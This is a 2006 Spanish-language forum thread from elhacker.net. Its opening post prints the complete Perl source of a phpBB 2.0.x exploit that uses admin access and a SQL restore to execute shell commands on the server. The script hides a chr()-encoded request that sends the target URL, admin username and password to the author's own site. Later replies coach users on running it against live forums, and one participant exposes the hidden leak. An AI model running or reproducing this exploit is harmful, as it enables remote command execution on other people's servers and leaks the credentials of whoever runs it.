elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 20:55  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  PHP 2.019 EXPLOIT
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: PHP 2.019 EXPLOIT  (Leído 2,757 veces)
Robin

Desconectado Desconectado

Mensajes: 18


Ver Perfil
PHP 2.019 EXPLOIT
« en: 12 Abril 2006, 23:43 »

NUEVO EXPLOIT PERO NO PUEDO HACERLO FUNCIONAR
 :-\



Citar
#!/usr/bin/perl

## r57phpbba2e2.pl - phpBB admin 2 exec exploit
## version 2 (based on user_sig_bbcode_uid bug)
## tested on 2.0.12 , 2.0.13 , 2.0.19
## --------------------------------------------
## screen
## r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password
## Command for execute or 'exit' for exit # id
## uid=80(www) gid=80(www) groups=80(www)
## Command for execute or 'exit' for exit # exit
## --------------------------------------------
## *** surprise included ;)
## 20/02/06
## 1dt.w0lf
## RST/GHC (http://rst.void.ru , http://ghc.ru)

use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;

getopts("u:L:P:i:p:o:");

$url      = $opt_u;
$login    = $opt_L;
$password = $opt_P;
$id       = $opt_i || 2;
$prefix   = $opt_p || 'phpbb_';
$proxy    = $opt_o;

if(!$url || !$login || !$password){&usage;}

$|++;

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );
$xpl->proxy('http'=>'http://'.$proxy) if $proxy;
$ids = 'IDS:r57 phpBB2 exploit a2e220022006|'.$url.'|'.$login.'|'.$password.'|'.$  id.'|'.$prefix;
 $res = $xpl->post($url.'login.php',
 [
 "username"   => "$login",
 "password"   => "$password",
 "autologin"  => "on",
 "admin"      => "1",
 "login"      => "Log in",
 ],"User-Agent" => "$ids");
 $cookie_jar->extract_cookies($res);
 if($cookie_jar->as_string =~ /phpbb2mysql_sid=([a-z0-9]{32})/) { $sid = $1; }   
 $xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids);
 while ()
 {
    print "Command for execute or 'exit' for exit # ";
    while(<STDIN>)
     {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq 'exit');
        last;
     }
    &run($cmd);
 }
 
sub run($)
 {   
 $sql   = "UPDATE ".$prefix."users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='blah:`echo _START_ && ".$_[0]." && echo _END_`' WHERE user_id=".$id.";";
 &phpbb_sql_query("${url}admin/admin_db_utilities.php?sid=$sid",$sql);   
 $res = $xpl->get($url.'profile.php?mode=editprofile&sid='.$sid,"User-Agent" => "$ids");
 @result = split(/\n/,$res->content);
 $data = '';
 $on = $start = $end = 0;
 for (@result)
  {
    if (/_END_/) { $end = 1; last; }
    if ($on) { $data .= $_."\n"; }
    if (/_START_/) { $on = 1; $start = 1; }
  }
 if($start&&$end) { print $data."\r\n"; }
 }
 
sub phpbb_sql_query($$){
$res = $xpl->post("$_[0]",
Content_type => 'form-data',
Content      => [
                perform       => 'restore',
                restore_start => 'Start Restore',
                backup_file   => [
                                   undef,
                                   '0wneeeeedddd',
                                   Content_type => 'text/plain',
                                   Content => "$_[1]",
                                 ],
                ]
,"User-Agent" => "$ids");
}

sub usage()
 {
 &about();
 print "\r\n Usage: r57phpbba2e2.pl [OPTIONS]\r\n\r\n";
 print " Options:\r\n";
 print " -u http:// - path to forum e.g. [url]http://site/forum/\r\n";
 print " -L [login] - admin login\r\n";
 print " -P [password] - admin password\r\n";
 print " -i [id] - admin id (optional, default 2)\r\n";
 print " -p [prefix] - table prefix (optional, default phpbb_)\r\n";
 print " -o [host:port] - proxy (optional)\r\n";
 exit();
 }
 
sub about()
  {
  print "\\=-----------------------------------=/\r\n";
  print "| phpBB admin2exec exploit by RST/GHC |\r\n";
  print "| version 2 (user_sig_bbcode_uid)     |\r\n";
  print "/=-----------------------------------=\\\r\n";
  return 'http://rst.void.ru';
  }

En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: PHP 2.019 EXPLOIT
« Respuesta #1 en: 13 Abril 2006, 00:19 »

Por que no te funciona?
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
TaN€R


Desconectado Desconectado

Mensajes: 2.599


Amo el foro!


Ver Perfil WWW
Re: PHP 2.019 EXPLOIT
« Respuesta #2 en: 13 Abril 2006, 00:41 »

Dí como lo has lanzado y podremos ayudarte mejor..
Pon exactamente como lo hiciste para lanzarlo, quizá no lo haces bien.
En línea

Robin

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: PHP 2.019 EXPLOIT
« Respuesta #3 en: 13 Abril 2006, 01:09 »

perl php19.pl http://xxxx.com/foro/ -l

no pasa nada solo ser regresa al menu de instrucciones...

rob
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: PHP 2.019 EXPLOIT
« Respuesta #4 en: 13 Abril 2006, 01:17 »

Estas son las opciones:

Citar

-u - path del foro";
-L [login] - el login del admin"
-P [password] - password del admin"
-i [id] - id del admin (opcional, por defecto 2)"
-p [prefix] - prefijo de la tabla (opcional, defecto phpbb_)"
-o [host:port] - proxy (opcional)"

Y aqui un ejemplo de como usarlo:

Citar
perl php19.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password

Pruebalo en localhost a ver si funciona el exploit.

En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
test2

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: PHP 2.019 EXPLOIT
« Respuesta #5 en: 13 Abril 2006, 02:10 »

oigan, cuidado parece que este exploit manda los datos a otra pagina(Especificamente, esta "'http://rst.void.ru'" que es la homepage del grupo o persona que hizo este exploit), lean bien el source y se daran cuenta, o siquieren snifeenlo.(Hasta lo dice "## *** surprise included")

Para evitar esto borrar las siguientes lineas(no afectan el funcionamiento del script.

Por cierto funciona super bien, en linux y windows, probado en un phpb 2.0.16, Pero recordar que para usar este exploit necesitan una cuenta de admin.

Código:


Borren las lineas marcadas de abajo
sub about()
{
print "\\=-----------------------------------=/\r\n";
print "| phpBB admin2exec exploit by RST/GHC |\r\n";
print "| version 2 (user_sig_bbcode_uid) |\r\n";
print "/=-----------------------------------=\\\r\n";
return 'http://rst.void.ru'; ----- Borren esta linea
}

Y esta otra(Este es el path del script k almacena los datos de sus foros, que traducido seria
"/ids/ids.php?ids="
$xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids);

« Última modificación: 13 Abril 2006, 02:14 por test2 » En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: PHP 2.019 EXPLOIT
« Respuesta #6 en: 13 Abril 2006, 02:41 »

No creo que envie ninguna info a esa pagina lo que hace es un return de esa funcion y devuelve el valor de esa pagina y aparentemente la imprime en la pantalla. En ningun momento se envia otra info.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
Robin

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: PHP 2.019 EXPLOIT
« Respuesta #7 en: 13 Abril 2006, 02:55 »

esto es todo lo que me sale



phpBB admin2exec exploit by RST/GHC
version 2 (user_sig_bbcode_uid)

Command for execute or 'exit' for exit #
En línea
test2

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: PHP 2.019 EXPLOIT
« Respuesta #8 en: 13 Abril 2006, 04:28 »

bueno, no quiero tomar riesgos de todas formas, ademas para que haria eso??

este es el string sniffeado con ethereal

/ids/ids.php?ids=IDS:r57%20phpBB2%20exploit%20a2e220022006%7Chttp://localhost/phpb/%7Ctest%7Ctest%7C2%7Cphpbb_

A lo mejor no envia nada, pero para mi lo mas probable es k si
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: PHP 2.019 EXPLOIT
« Respuesta #9 en: 13 Abril 2006, 04:35 »

Umm puede ser no me habia fijado en esta linea:

Código:
$xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids);

Como no se mucho perl no puedo decir con certesa que hace. Pero si quieren lo prueban en localhost, sniffean y ven lo que envia el exploit y luego lo pueden reproducir manualmente o crearse su propio exploit.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
ZyrroX

Desconectado Desconectado

Mensajes: 38


Ver Perfil
Re: PHP 2.019 EXPLOIT
« Respuesta #10 en: 13 Abril 2006, 14:04 »

Me aparece esto .....

Citar
\=-----------------------------------=/
| phpBB admin2exec exploit by RST/GHC |
| version 2 (user_sig_bbcode_uid)     |
/=-----------------------------------=\
Command for execute or 'exit' for exit #


Que coamndos puedo ejecutar....mmm.. prbe los de ms-dos , algunos unix ls -al  pero nafa...o esq no ha funcionado correctamente el exploit?.... cuando pongo -L admin  -P pass  .... q se supone q me crea ese admin con ese user y pass en el foro... porq si tengo q saber el user y pass de admin vaya exploit jejeje.... lo pregunto porque he probado pero nada no funcionan el user y pass...
En línea
ZyrroX

Desconectado Desconectado

Mensajes: 38


Ver Perfil
Re: PHP 2.019 EXPLOIT
« Respuesta #11 en: 13 Abril 2006, 14:18 »

Bueno ya me contesto yo, despues de mirar en mis favoritos informacion sobre este bug ya encontre que necesitas tener el user y el pass de admin y con este exploit lo que hacer es facilitarte otras tareas como por ejemplo la de subir una shell al server, etc.... 
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines